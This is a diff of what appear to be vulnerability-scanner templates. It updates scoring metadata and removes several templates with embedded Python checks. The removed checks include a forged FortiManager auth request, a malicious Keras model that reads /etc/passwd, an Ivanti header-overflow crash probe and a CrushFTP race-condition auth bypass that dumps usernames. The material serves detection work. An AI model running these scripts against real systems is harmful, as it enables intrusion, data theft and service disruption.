View File
@@ -17,14 +17,14 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-6246
cwe-id: CWE-787,CWE-122
epss-score: 0.31786
epss-percentile: 0.96609
epss-score: 0.22699
epss-percentile: 0.95613
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gnu
product: glibc
tags: cve,cve2023,code,glibc,linux,privesc,local,gnu,vuln
tags: cve,cve2023,code,glibc,linux,privesc,local,gnu
self-contained: true
code:
@@ -39,4 +39,4 @@ code:
- type: word
words:
- "127" # Segmentation Fault Exit Code
# digest: 4a0a00473045022100a831a78eed0a5135ad8c5cbde8a4d335acc624a56494bcfe0f228edfb75546e9022077e10905de69a2e5fb978187e1035ee975e8ad1395543a16d1b35a831d54efe5:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220435fc0f1f42662dd77393d370309115320794f7957843c0ff1ef4c0e68d5566402200e729fedbc5915a5e9a5c33cd70ccff6646981ea2ae405bb1341c83e0b228b08:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -13,8 +13,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-10443
cwe-id: CWE-77
epss-score: 0.67268
epss-percentile: 0.98481
epss-score: 0.69629
epss-percentile: 0.98573
cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
metadata:
verified: true
@@ -23,7 +23,7 @@ info:
product: photos
framework: diskstation_manager
shodan-query: html:"BeeStation"
tags: unauth,synology,rce,websocket,diskstation,vuln
tags: unauth,synology,rce,websocket,diskstation
variables:
OAST: "{{interactsh-url}}"
@@ -54,4 +54,4 @@ code:
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "dns"
# digest: 4a0a00473045022100909ec94556f8b16006475d760a1911e4a59beaec4a369f95fc71646b6c5567ad02205284d000fddabfb0eb4d3e53c789faa351c731ea5b3d2a7cca511d89992eda52:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220238322406ea7b36d09adcd8d11555a98663066124719295b82627c0c6aa649c602210097fd42ed176237bd31b1b6fe4b675eb74f378636c66888f6578c5f20d49e8af4:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -13,14 +13,14 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-12356
cwe-id: CWE-77
epss-score: 0.93687
epss-percentile: 0.99833
epss-score: 0.93590
epss-percentile: 0.99831
cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
metadata:
vendor: beyondtrust
product: privileged_remote_access
verified: true
tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev,vkev,vuln
tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev
code:
- engine:
@@ -37,4 +37,4 @@ code:
words:
- "0 success"
- "1 try again later"
# digest: 4a0a00473045022044b3b01083ee26fd4013799925fc4b832efbc6109f7afb5f3236d98c0203b2290221008eeccd0a8f6a91a3549be4004db0eb45db41394ba3840e6312e9c54728ef81ec:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100be13ba221189875a5c3c181eb1e6c5d7c4806c31798dc6f540657279fac5b029022031676609cf3da0030625ce6aac0a33787770a4d084ec52ac9f58d0faa903025f:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.1
cve-id: CVE-2024-22120
cwe-id: CWE-20
epss-score: 0.93259
epss-percentile: 0.99791
epss-score: 0.93881
epss-percentile: 0.99865
metadata:
max-request: 1
vendor: zabbix
@@ -34,7 +34,7 @@ info:
- app="zabbix-监控系统" && body="saml"
- title="zabbix-server"
google-query: intitle:"zabbix-server"
tags: cve,cve2024,authenticated,zabbix,sqli,vkev,vuln
tags: cve,cve2024,authenticated,zabbix,sqli
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
@@ -71,4 +71,4 @@ code:
- type: word
words:
- "Vulnerable to CVE-2024-22120"
# digest: 4a0a00473045022100f252e3b49ae5db52b7618d5c2654208aae47358ef7dfec34ac50e4281eebd4c60220695276f5ed29947a82f3afa67e1066d5cb2e66272589168d633e2f54898866c5:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022057371395d4fb23fb810c20049a9d700a8284af6c1bc84864c23f1b4470dc4583022100f4d401098a82c09507f92f49757fb5d6085c9739a37aabc3f9ba8dcd894bdfa8:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,14 +17,14 @@ info:
cvss-score: 10
cve-id: CVE-2024-3094
cwe-id: CWE-506
epss-score: 0.85778
epss-percentile: 0.99331
epss-score: 0.84011
epss-percentile: 0.99254
cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
metadata:
verified: true
vendor: tukaani
product: xz
tags: cve,cve2024,local,code,xz,backdoor,tukaani,vuln
tags: cve,cve2024,local,code,xz,backdoor,tukaani
self-contained: true
code:
@@ -59,4 +59,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022100c10d938a67c70489ce2f679b3c1edca76f59c9b76b8a14973cbcae39272043880220412432fb30cc1ab6715bbd68ddd11c36c56c55e2ad736a047b6c25ea8368eeef:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100f7234c73aae801d78da251277aec0c21a4952b8b344944b3892eee84ec5891ae0221008d992982b582811cdd8173176149ef196cc6f7b672fcf16d10c05aab8badd9db:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -10,11 +10,11 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2024-4340
epss-score: 0.15162
epss-percentile: 0.94326
epss-score: 0.15598
epss-percentile: 0.94407
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
tags: cve,cve2024,py,code,dos,python,sqlparse
self-contained: true
code:
@@ -29,4 +29,4 @@ code:
part: stderr
words:
- "RecursionError: maximum recursion depth exceeded"
# digest: 4a0a00473045022100c4901d7cffb025864722c0ebb1836da18c540df805f350b363c7d098ace5ce150220074efd03642822ab6121b1c028806d3ab90e59802c8ad61a5002253c26001d7a:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402204fca66bc1127003bf7091c3ef4aa8c9a979c22405fb23f6e34ed6ef18a8b0daa0220188f7df879246724eac3b609b7bba222ff83e2a839029e7a0ef168c88260941c:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -20,14 +20,14 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-45409
cwe-id: CWE-347
epss-score: 0.39163
epss-percentile: 0.97105
epss-score: 0.16139
epss-percentile: 0.94531
metadata:
verified: true
shodan-query: http.title:"GitLab"
product: gitlab
vendor: gitlab
tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev,vuln
tags: cve,cve2024,saml,auth-bypass,gitlab,code
code:
- engine:
@@ -123,4 +123,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 490a00463044022050d3597a46db26baf1399bfebea1bccc212318e39c2da4dad3b72cb7978fb29a022001cfd6dfb7fe87712ee6eb058f3d18c1f996be490431e25202e25031669c0c7c:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402201e63c308fefaaa4d4ba99b5a7c2ea3d7dcdf5544dc8d4a1ae1a0fbd532d7241702207232eaea82be593da580ba735e84de2153ee1708552ae08603c4c7237f2e1112:922c64590222798bb761d5b6d8e72950
-148
View File
@@ -1,148 +0,0 @@
id: CVE-2024-47575
info:
name: FortiManager Unauthenticated Remote Code Execution
author: 0x_Akoko,pussycat0x,watchTowr
severity: critical
description: |
A missing authentication vulnerability in Fortinet FortiManager allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests to the fgfmd daemon. This vulnerability affects FortiManager versions 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.12, and all versions of 6.0.
remediation: |
Update FortiManager to version 7.6.1 or later, 7.4.5 or later, 7.2.8 or later, 7.0.13 or later, or 6.4.15 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-47575
- https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575
- https://fortiguard.fortinet.com/psirt/FG-IR-24-423
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-47575
cwe-id: CWE-306
epss-score: 0.93865
epss-percentile: 0.99858
cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
keysDir: "helpers/payloads/cve-2024-475759-keys"
code:
- engine:
- py
- python3
source: |
import socket
import struct
import ssl
import logging
import os
import sys
logging.basicConfig(level=logging.INFO, format='%(message)s')
FW_VERSION = None
def create_ssl_context():
keys_dir = os.getenv("keysDir", "helpers/payloads/cve-2024-47575-keys")
cert_path = os.path.join(keys_dir, "w00t_cert.bin")
key_path = os.path.join(keys_dir, "w00t_key.bin")
try:
if os.path.isfile(cert_path) and os.path.isfile(key_path):
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.load_cert_chain(certfile=cert_path, keyfile=key_path)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
logging.debug(f"Loaded certificate from {cert_path}")
logging.debug(f"Loaded key from {key_path}")
return context
else:
logging.debug(f"Certificate or key not found: {cert_path}, {key_path}")
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
return context
except Exception as e:
logging.debug(f"Failed to load certificates: {e}")
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
return context
def send_message(sock, request):
message = struct.pack(">II", 0x36e01100, len(request) + 8) + request
sock.send(message)
hdr = sock.read(8)
if len(hdr) != 8:
return None
magic, size = struct.unpack(">II", hdr)
return sock.read(size - 8)
def check_vulnerability(target_ip, target_port, timeout=10):
global FW_VERSION
auth_request = b"get auth\r\nserialno=FGVMEVWG8YMT3R63\r\nmgmtid=00000000-0000-0000-0000-000000000000\r\nplatform=FortiGate-60E\r\nfos_ver=700\r\nminor=2\r\npatch=4\r\nbuild=1396\r\nbranch=1396\r\nmaxvdom=2\r\nfg_ip=192.168.1.53\r\nhostname=FortiGate\r\nharddisk=yes\r\nbiover=04000002\r\nharddisk_size=30720\r\nlogdisk_size=30107\r\nmgmt_mode=normal\r\nenc_flags=0\r\nmgmtip=192.168.1.53\r\nmgmtport=443\r\n\x00"
file_exchange_request = b"get file_exchange\r\nlocalid=123\r\nchan_window_sz=32768\r\ndeflate=gzip\r\nfile_exch_cmd=put_json_cmd\r\n\r\n\x00"
context = create_ssl_context()
sock = socket.create_connection((target_ip, target_port), timeout=timeout)
ssl_sock = context.wrap_socket(sock)
response = send_message(ssl_sock, auth_request)
if not response:
ssl_sock.close()
return False, None
response = send_message(ssl_sock, file_exchange_request)
if not response:
ssl_sock.close()
return False, None
try:
response_str = response.decode('utf-8', errors='ignore')
for line in response_str.split('\r\n'):
if 'remoteid=' in line:
remote_id = line.split('=')[1].strip()
if remote_id:
ssl_sock.close()
return True, FW_VERSION
except Exception:
pass
ssl_sock.close()
return False, FW_VERSION
def main():
host = os.getenv("HOST")
port = os.getenv("PORT")
target_port = int(port) if port else 541
is_vulnerable, fw_version = check_vulnerability(host, target_port)
if is_vulnerable:
if fw_version:
print(f"Vulnerable Version {fw_version}")
else:
print("Vulnerable")
else:
if fw_version:
print(f"NOT VULN Version {fw_version}")
else:
print("NOT VULN")
if __name__ == "__main__":
main()
matchers:
- type: word
words:
- "Vulnerable"
extractors:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022100c88f6d837fa2686dde19f9b77dab6f5c8a5825c0f1d153e6208f489eca85fee002205b6c68ad4e1dc544604ef0122e9575e3dead2b352d5be36d0eb4ebb3a5b87fb2:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,14 +17,14 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-55556
cwe-id: CWE-502
epss-score: 0.8111
epss-percentile: 0.99106
epss-score: 0.80857
epss-percentile: 0.99096
metadata:
verified: true
max-request: 2
shodan-query: 'http.title:"InvoiceShelf"'
fofa-query: 'title="InvoiceShelf"'
tags: cve,cve2024,invoiceshelf,rce,deserialization,vuln
tags: cve,cve2024,invoiceshelf,rce,deserialization
variables:
marker: "{{randstr}}"
@@ -193,4 +193,4 @@ http:
- type: status
status:
- 500
# digest: 4a0a0047304502202c698cf765d4a181bbe9ad719f715db924dfe58f7f90d2bc3aeb42cc300f842f022100994fcf3e4898d95172f1378082c38c856532814691cd3acc23074203c7a5866a:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100e75d786df30fc6d158bb38bc2b13a5af3c2e27174c1617fe01b419f3a5d69b57022100840b6aaccec646d85c578e77492eda810bfb731287ba8520e5d657e92f883297:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -22,13 +22,13 @@ info:
cve-id: CVE-2024-56331
cwe-id: CWE-22
epss-score: 0.41406
epss-percentile: 0.97243
epss-percentile: 0.97262
metadata:
verified: true
shodan-query: http.title:"Uptime Kuma"
product: uptime-kuma
vendor: uptime-kuma
tags: cve,cve2024,lfi,uptime-kuma,file-disclosure,vuln
tags: cve,cve2024,lfi,uptime-kuma,file-disclosure
variables:
username: "{{username}}"
@@ -124,4 +124,4 @@ code:
- type: word
words:
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
# digest: 4a0a0047304502203f480171de008180e091e1c69fb2006c3434e7b60a3094b4caab19c092ba9f2a022100ecc347483a547ca12e83b2813917e34d1d09c2932f96950dbb0d9d29dc19bc19:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220767c6864cb0310b6d63e766a5284e127185a790ded13671c3b33ee3ae955d86a02202e855684ba68b62411f6e36c7e6c472bfbd78ce3f6729980b57f92116bca9a5c:922c64590222798bb761d5b6d8e72950
-80
View File
@@ -1,80 +0,0 @@
id: CVE-2025-1550
info:
name: Keras Model.load_model - Arbitrary Code Execution
author: nukunga[seunghyeonJeon]
severity: critical
description: |
The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading
impact: |
Attackers can execute arbitrary code during model loading, potentially leading to remote code execution or system compromise.
remediation: |
Update to the latest version of Keras where this issue is fixed or apply security patches provided by the developers.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-1550
- https://github.com/keras-team/keras/pull/20751
- https://towerofhanoi.it/writeups/cve-2025-1550/
classification:
epss-score: 0.04785
epss-percentile: 0.88988
metadata:
max-request: 1
tags: cve,cve2025,code,keras,rce,ml
self-contained: true
code:
- engine:
- py
- python3
source: |
import os
import sys
try:
import tensorflow as tf
from tensorflow.keras.models import load_model
from tensorflow.keras.layers import Lambda, Input
from tensorflow.keras.models import Model
import numpy as np
except ImportError:
sys.exit(1)
def create_malicious_model():
def malicious_function(x):
result = os.popen("cat /etc/passwd").read()
print(result)
return x
input_layer = Input(shape=(1,))
lambda_layer = Lambda(malicious_function, name="evil_lambda")(input_layer)
model = Model(inputs=input_layer, outputs=lambda_layer)
return model
def exploit_lambda_layer():
model_path = "/tmp/malicious_model.keras"
try:
model = create_malicious_model()
model.save(model_path)
del model
loaded_model = load_model(model_path)
test_input = np.array([[1.0]])
loaded_model.predict(test_input, verbose=0)
return True
except:
return False
finally:
if os.path.exists(model_path):
os.remove(model_path)
exploit_lambda_layer()
matchers:
- type: regex
part: response
regex:
- "root:.*:0:0:"
# digest: 490a0046304402206e9f88fa35e1efe0dfbc77021347d1416c8ba34d87b6fe132de6da3d2029fb4f022038ce20d668ec47e686855a23065d676529df72108390bb46791ac0c0b3213ca8:922c64590222798bb761d5b6d8e72950
-131
View File
@@ -1,131 +0,0 @@
id: CVE-2025-22457
info:
name: Ivanti Connect Secure - Stack-based Buffer Overflow
author: s4e-io,pussycat0x
severity: critical
description: |
Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by
improper input handling, allowing remote attackers to execute arbitrary code without authentication.
impact: |
Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
remediation: |
Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
reference:
- https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
- https://www.cvedetails.com/cve/CVE-2025-22457
- https://github.com/securekomodo/CVE-2025-22457
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-22457
cwe-id: CWE-121,CWE-787
epss-score: 0.73531
epss-percentile: 0.98743
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
metadata:
vendor: ivanti
product: connect_secure
shodan-query: http.title:"ivanti connect secure"
fofa-query: title="ivanti connect secure"
zoomeye-query: title:"ivanti connect secure"
google-query: intitle:"ivanti connect secure"
tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
flow: http () && code()
http:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"
stop-at-first-match: true
matchers:
- type: dsl
internal: true
dsl:
- 'contains(body, "Ivanti Connect Secure")'
- 'status_code == 200'
condition: and
code:
- engine:
- py
- python3
source: |
import os
import time
import requests
TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
TIMEOUT = 10
class IvantiExploit:
def __init__(self, host, port):
self.host = host.rstrip("/")
self.port = port
def check_vuln(self):
host = self.host
if not host.startswith("http://") and not host.startswith("https://"):
host = f"https://{host}"
url = f"{host}:{self.port}{TARGET_PATH}"
print(f"Testing {url}")
#1 Pre-check: Check if target is reachable and status is 200.
try:
r1 = requests.get(url, timeout=TIMEOUT, verify=False)
except requests.RequestException:
r1 = None
if not r1 or r1.status_code != 200:
print("Pre-check failed because target is not reachable or status is not 200.")
return False
print("Pre-check successful.")
#2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.
payload_header = {"X-Forwarded-For": "1"*2048}
try:
r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
except requests.RequestException:
r2 = None
if r2:
print("Payload is not working.")
return False
else:
print("Payload is working.")
time.sleep(1)
#3 Follow-up: Check if target is still reachable after payload.
try:
r3 = requests.get(url, timeout=TIMEOUT, verify=False)
except requests.RequestException:
r3 = None
if r3.status_code == 200:
print(f"VULNERABLE: {self.host}:{self.port}")
return True
print("Target seems safe")
return False
if __name__ == "__main__":
host = os.getenv("Host")
port = os.getenv("Port")
IvantiExploit(host, port).check_vuln()
matchers:
- type: word
words:
- "VULNERABLE:"
# digest: 4b0a00483046022100ec9c867b3ff7b861066adcced1fe7de0d1f5ff812ccf5603681b68bebf830884022100b484462113de4ed76f3b3aa286afcefc14b4792924f39c31ef340333b1cc7dd6:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.3
cve-id: CVE-2025-25291
cwe-id: CWE-347
epss-score: 0.17247
epss-percentile: 0.94761
epss-score: 0.01703
epss-percentile: 0.81527
metadata:
verified: true
vendor: gitlab
@@ -35,7 +35,7 @@ info:
- body="gitlab-ci.yml"
- title="gitlab"
google-query: intitle:"gitlab"
tags: cve,cve2025,saml,auth-bypass,gitlab,code,vuln
tags: cve,cve2025,saml,auth-bypass,gitlab,code
code:
- engine:
@@ -78,4 +78,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4b0a00483046022100adb57051ff1daa01738c529688fc1f8286ecddb12ff7750b55f4dee5345377a8022100a67ac9d936e4c7a807ce5ced0673a1ae7c54dca17aa2a240e916d19b21b5f907:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022100be3b0643c89a1ddcd15aa06afc686f3efb80fa245984ce21ca1b4275c74d42a2021f4b0e28ee37a26ab75834991f37b275727fac03c60f0170a2e59e232ae078d8:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -20,13 +20,13 @@ info:
cvss-score: 10
cve-id: CVE-2025-32433
cwe-id: CWE-306
epss-score: 0.41165
epss-percentile: 0.97229
epss-score: 0.55376
epss-percentile: 0.97930
metadata:
verified: true
max-request: 1
shodan-query: "Erlang OTP"
tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev,vkev,vuln
tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev
variables:
OAST: "{{interactsh-url}}"
@@ -172,4 +172,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a00473045022100dd8ddeab01e47c07e10352b4027a648f5c363824133547baeb077682ea87e231022062f13a6c9decbe45656d320be77c84bd9612eef84e1b1b4cecfe8e279dfe9d24:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502207edfd6f617b697c540c8375a5278b5c1016c928b22d041e1dc19ddfdad65d43b022100a4785eb798107b1413fd119e65a851be94361018e5eb785f393d26feed858cc1:922c64590222798bb761d5b6d8e72950
-203
View File
@@ -1,203 +0,0 @@
id: CVE-2025-54309
info:
name: CrushFTP - Authentication Bypass Race Condition
author: pussycat0x,watchTowr,dhiyaneshdk
severity: critical
description: |
CrushFTP 10 before 10.8.5 and 11 before 11.3.4_23, when the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS, as exploited in the wild in July 2025.
impact: |
Remote attackers can bypass authentication and access sensitive user data, potentially leading to unauthorized access to the CrushFTP system and exfiltration of user information.
remediation: |
Update to the latest version of CrushFTP that patches this authentication bypass vulnerability.
reference:
- https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309/blob/main/watchTowr-vs-CrushFTP-CVE-2025-54309.py
- https://labs.watchtowr.com/the-one-where-we-just-steal-the-vulnerabilities-crushftp-cve-2025-54309/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-54309
epss-score: 0.49642
epss-percentile: 0.97664
cwe-id: CWE-287,CWE-362
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
metadata:
verified: true
vendor: crushftp
product: crushftp
shodan-query:
- http.title:"crushftp"
- http.favicon.hash:-1022206565
fofa-query:
- title="crushftp"
- icon_hash="-1022206565"
zoomeye-query: title:"crushftp"
google-query: intitle:"crushftp"
tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev,vkev,vuln
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
code:
- engine:
- py
- python3
source: |
import requests
import threading
import time
import random
import string
import re
import os
def generate_random_c2f():
"""Generate random 4-character c2f value"""
return ''.join(random.choices(string.ascii_letters + string.digits, k=4))
def make_request_with_as2(target_url, c2f_value, cookie):
"""Make request with AS2-TO header and disposition-notification content type"""
url = f"{target_url}/WebInterface/function/"
headers = {
"Host": target_url.replace("http://", "").replace("https://", ""),
"User-Agent": "python-requests/2.32.3",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "keep-alive",
"AS2-TO": "\\crushadmin",
"Content-Type": "disposition-notification",
"X-Requested-With": "XMLHttpRequest",
"Cookie": cookie
}
data = {
"command": "getUserList",
"serverGroup": "MainUsers",
"c2f": c2f_value
}
try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
return f"AS2 Request - Status: {response.status_code}", response.text
except Exception as e:
return f"AS2 Request - Error: {str(e)}", ""
def make_request_without_as2(target_url, c2f_value, cookie):
"""Make request without AS2-TO header and disposition-notification content type"""
url = f"{target_url}/WebInterface/function/"
headers = {
"Host": target_url.replace("http://", "").replace("https://", ""),
"User-Agent": "python-requests/2.32.3",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Cookie": cookie
}
data = {
"command": "getUserList",
"serverGroup": "MainUsers",
"c2f": c2f_value
}
try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
return f"Regular Request - Status: {response.status_code}", response.text
except Exception as e:
return f"Regular Request - Error: {str(e)}", ""
def check_vulnerable_response(response_text):
"""Check if response contains user_list_subitem pattern and extract usernames"""
if "<user_list_subitem>" in response_text:
usernames = re.findall(r'<user_list_subitem>(.*?)</user_list_subitem>', response_text)
if usernames:
top_users = usernames[:10]
print(f"[*] EXFILTRATED {len(top_users)} USERS: {', '.join(top_users)}")
return True
return False
def race_requests_with_detection(target_url, num_requests=100):
"""Race multiple requests and detect vulnerability"""
print(f"Starting race with {num_requests} request pairs...")
for i in range(num_requests):
# Generate new c2f every 50 requests
if i % 50 == 0:
c2f_value = generate_random_c2f()
cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
print(f"[*] NEW SESSION: c2f={c2f_value}")
else:
c2f_value = generate_random_c2f()
cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
# Store results
results = {'as2': None, 'regular': None}
def as2_worker():
results['as2'] = make_request_with_as2(target_url, c2f_value, cookie)
def regular_worker():
results['regular'] = make_request_without_as2(target_url, c2f_value, cookie)
# Create and start threads
t1 = threading.Thread(target=as2_worker)
t2 = threading.Thread(target=regular_worker)
# Start both threads simultaneously
t1.start()
t2.start()
# Wait for both to complete
t1.join()
t2.join()
# Check for vulnerability in both responses
as2_status, as2_response = results['as2']
regular_status, regular_response = results['regular']
# Check if either response contains the user list pattern
if check_vulnerable_response(as2_response) or check_vulnerable_response(regular_response):
print(f"VULNERABLE: {target_url}")
return True
# Print progress every 25 requests
if (i + 1) % 25 == 0:
print(f"[*] PROGRESS: {i + 1}/{num_requests} request pairs completed...")
return False
if __name__ == "__main__":
host = os.getenv("Host")
port = os.getenv("Port")
if not host:
print("Host environment variable not set")
exit(1)
# Construct target URL
if not host.startswith(('http://', 'https://')):
target_url = f"http://{host}"
if port and port != "80":
target_url = f"http://{host}:{port}"
else:
target_url = host
if port and port != "80" and port not in host:
target_url = f"{host}:{port}"
print(f"[*] Testing target: {target_url}")
# Try 100 requests with race condition detection
if race_requests_with_detection(target_url, 100):
print("VULNERABLE: Race condition vulnerability detected!")
else:
print("Target appears to be patched or timing window missed")
matchers:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a004730450221008a8dd55bf66f637ca027a8855f2f5818b2b61941d47c02cc4a0de9e64a3217b6022041cd67ffdfe401811fd58f5f98edfb5986e0cda3f5c9a3868e1fb3d62aad110e:922c64590222798bb761d5b6d8e72950
+2 -4
View File
@@ -15,8 +15,6 @@ info:
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
classification:
epss-score: 0.23131
epss-percentile: 0.95707
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6216
@@ -29,7 +27,7 @@ info:
product: allegra
shodan-query: http.favicon.hash:"284403119"
fofa-query: icon_hash="284403119"
tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset,vuln
tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
variables:
email: "[email protected]" # Change to a test account
@@ -115,4 +113,4 @@ code:
- type: dsl # type of the extractor
dsl:
- '"Reset URL: " + code_response'
# digest: 4b0a00483046022100812b35c7792d91de6d806c9de888d86356456ed934b6cf023de300abf3db9147022100bb8929166261f9a620a6585ecc98393446ab3cbd7223736942a966a56976a932:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100e16640c86c7d6f0d855aad545c1028cd614abdc1388b9a33da23d66b1d3beddf022010383e6897d82a9fabb755115271a0635ca5ee8a36633e8f1485f601840f5caa:922c64590222798bb761d5b6d8e72950
-555
View File
@@ -1,555 +0,0 @@
id: CVE-2025-9242
info:
name: WatchGuard IKEv2 Out-of-Bounds Write Vulnerability
author: pussycat0x,DhiyaneshDK,watchTowr
severity: critical
description: |
WatchGuard Fireware OS 11.10.2 to 11.12.4_Update1, 12.0 to 12.11.3, and 2025.1 contains an out-of-bounds write caused by improper handling in Mobile User VPN and Branch Office VPN with IKEv2 dynamic gateway peer, letting remote unauthenticated attackers execute arbitrary code.
impact: |
Remote unauthenticated attackers can execute arbitrary code, potentially leading to full system compromise.
remediation: |
Update to the latest Fireware OS version beyond 2025.1.
reference:
- https://github.com/watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242/
- https://labs.watchtowr.com/yikes-watchguard-fireware-os-ikev2-out-of-bounds-write-cve-2025-9242
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-9242
cwe-id: CWE-787,CWE-362
epss-score: 0.7437
epss-percentile: 0.98777
cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
metadata:
verified: true
shodan-query: html:"Watchguard" html:"Authentication Server"
